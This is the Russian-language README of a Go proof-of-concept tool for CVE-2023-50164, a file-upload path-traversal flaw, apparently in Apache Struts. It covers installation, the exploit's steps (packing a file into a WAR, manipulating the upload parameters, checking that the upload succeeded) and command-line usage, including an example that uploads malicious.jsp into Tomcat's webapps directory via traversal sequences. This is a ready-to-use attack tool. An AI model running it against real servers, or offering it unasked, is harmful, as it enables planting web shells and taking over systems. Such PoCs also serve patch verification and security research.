PoC для CVE-2023-50164

Установка

Для установки этого инструмента у вас должна быть установлена и настроена версия Go не ниже 1.20.

$ go install github.com/dwisiswant0/cve-2023-50164-poc@latest

В качестве альтернативы вы можете скомпилировать его самостоятельно: $ git clone http://github.com/dwisiswant0/cve-2023-50164-poc cve-2023-50164-poc/ $ cd $_ $ go build .

Как это работает?

Этот инструмент работает через серию этапов для выполнения эксплойта. Например, если вы хотите загрузить файл /path/to/file-you-want-to-upload.txt, инструмент действует следующим образом:

1. Он сжимает указанный файл в WAR-файл, создавая file-you-want-to-upload.war в временной директории, специфичной для ОС. Таким образом, инструмент предполагает, что путь к файлу контекста сервлета — /file-you-want-to-upload/file-you-want-to-upload.txt.

2. Он проверяет, существует ли уже путь к файлу контекста сервлета. Если да, инструмент немедленно возвращает ошибку.

3. Инструмент пытается загрузить WAR-файл, манипулируя параметрами загрузки файла.

4. Затем он повторно проверяет доступность (код состояния 200) пути к файлу контекста сервлета, что указывает на успешную загрузку файла.

Использование

$ cve-2023-50164-poc -h

  PoC для CVE-2023-50164
  --
  автор @dwisiswant0

Использование:
  cve-2023-50164-poc -u <URL> -f <FILE> -p <PATH>

Параметры:
  -u, --url <URL>             Укажите URL конечной точки загрузки
  -f, --file <FILE>           Укажите файл полезной нагрузки для загрузки
  -t, --traverse-seq <N>      Генерировать последовательности обхода N раз (по умолчанию: "0")
  -p, --path <PATH>           Укажите путь к доступной корневой директории
  -w, -win, --windows         Преобразует символы слеша ("/") в разделитель Windows ("\")

Пример:
  cve-2023-50164-poc -u http://host/path/to/upload.action -f foo.txt -t 1 -p webapps
  cve-2023-50164-poc -u http://host/upload/upload.action -f malicious.jsp -t 2 -p /opt/tomcat/webapps